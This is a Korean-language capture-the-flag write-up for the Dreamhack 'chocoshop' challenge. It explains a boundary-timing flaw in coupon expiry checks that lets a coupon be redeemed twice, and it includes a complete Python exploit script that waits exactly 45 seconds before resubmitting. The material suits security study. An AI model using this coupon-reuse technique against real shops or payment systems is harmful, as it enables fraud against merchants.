
문제에 접속하면 세션을 발급 받는 페이지가 나온다.

세션을 발급 받으면 Shop과 Mypage 버튼이 뜬다.

SHOP 페이지에 들어가보면 빼빼로와 Flag 상품을 판매하고있다.

상품을 클릭해보면 돈이 없어서 상품을 살 수가 없다.

My page 페이지를 확인해보니, 쿠폰 발급 및 사용 기능이 있다.


쿠폰을 발급 받아서 사용해보았다.

오른쪽 상단에 1000 파운드가 충전이 된 걸 확인했다.
Flag 상품을 구입하려면 쿠폰을 중복 발급 받을 수 있어야 하는데, 지금은 재발급이 차단되어있으니 코드를 살펴보자.

코드를 보니 발급받은 시점으로부터 45초가 지나면 쿠폰이 만료된다.

발급 받은 쿠폰을 submit하면 used_coupon 키가 생성되는데, 이 used_coupon 키값이 존재하는 쿠폰은 재사용이 불가능하다. used_coupon 키값도 45초 이후 만료된다.
expiration 코드를 살펴보면, 쿠폰 만료 여부를 확인하는 if문을 보면 오직 클 경우에 대해서만 만료로 처리하고 있다.
expiration에 대한 검증이 순차적으로 진행이 되고 있다는 것이다.
time()함수는 현재 시간을 초 단위로 반환하기 때문에 모든 시간을 45초와 46초로 구분한다.
딱 45초인 경우에 만료 여부를 확인하는 if문을 수행하면 만료 여부 확인 if문을 넘어갈 수 있으며, 이후에는 45초가 아주 약간 지났으므로 used_coupon의 키값은 사라져 사용하지 않은 쿠폰이 되는 것이다.
즉, 45초와 46초 사이에 used_coupon 값을 확인할 때에는 used_coupon값은 만료되어 재생성될 것이므로 그 사이의 시간을 공략하면 쿠폰을 재사용할 수 있다.
import requests
import json
import time
# 문제 페이지 URL과 세션 ID 설정
url = "http://host3.dreamhack.games:18298/"
session_id = "d99f95d3a21941b4930afaad635eaeeb"
def claim_coupon(session):
headers = {"Authorization": session}
response = requests.get(url + "coupon/claim", headers=headers)
if response.status_code == 200:
coupon = json.loads(response.text)["coupon"]
print("Coupon claimed successfully")
print("Coupon:", coupon)
return coupon
else:
raise Exception("Failed to claim coupon")
def submit_coupon(session, coupon):
headers = {"Authorization": session, "coupon": coupon}
# 첫 번째 쿠폰 제출
response = requests.get(url + "coupon/submit", headers=headers)
print("First coupon submit response:", response.text)
if response.status_code != 200:
raise Exception("Failed to submit first coupon")
# 45초 대기
print("Waiting for exactly 45 seconds...")
time.sleep(45)
# 두 번째 쿠폰 제출
response = requests.get(url + "coupon/submit", headers=headers)
print("Second coupon submit response:", response.text)
if response.status_code != 200:
raise Exception("Failed to submit second coupon")
def claim_flag(session):
headers = {"Authorization": session}
response = requests.get(url + "flag/claim", headers=headers)
print("Flag claim response:", response.text)
if response.status_code != 200:
raise Exception("Failed to claim flag")
return response.text
if __name__ == "__main__":
try:
session = session_id
# 쿠폰 클레임
coupon = claim_coupon(session)
# 쿠폰 1차 및 2차 제출
submit_coupon(session, coupon)
# 플래그 구매
flag = claim_flag(session)
print("Flag:", flag)
except Exception as e:
print("An error occurred:", str(e))
익스플로잇 코드를 작성해서 flag 값을 찾았다.


https://dreamhack.io/wargame/challenges/106
chocoshop
Description 드림이는 빼빼로데이를 맞아 티오리제과에서 빼빼로 구매를 위한 쿠폰을 받았습니다. 하지만 우리의 목적은 FLAG! 그런데 이런, FLAG는 너무 비싸 살 수가 없네요... 쿠폰을 여러 번 발급
dreamhack.io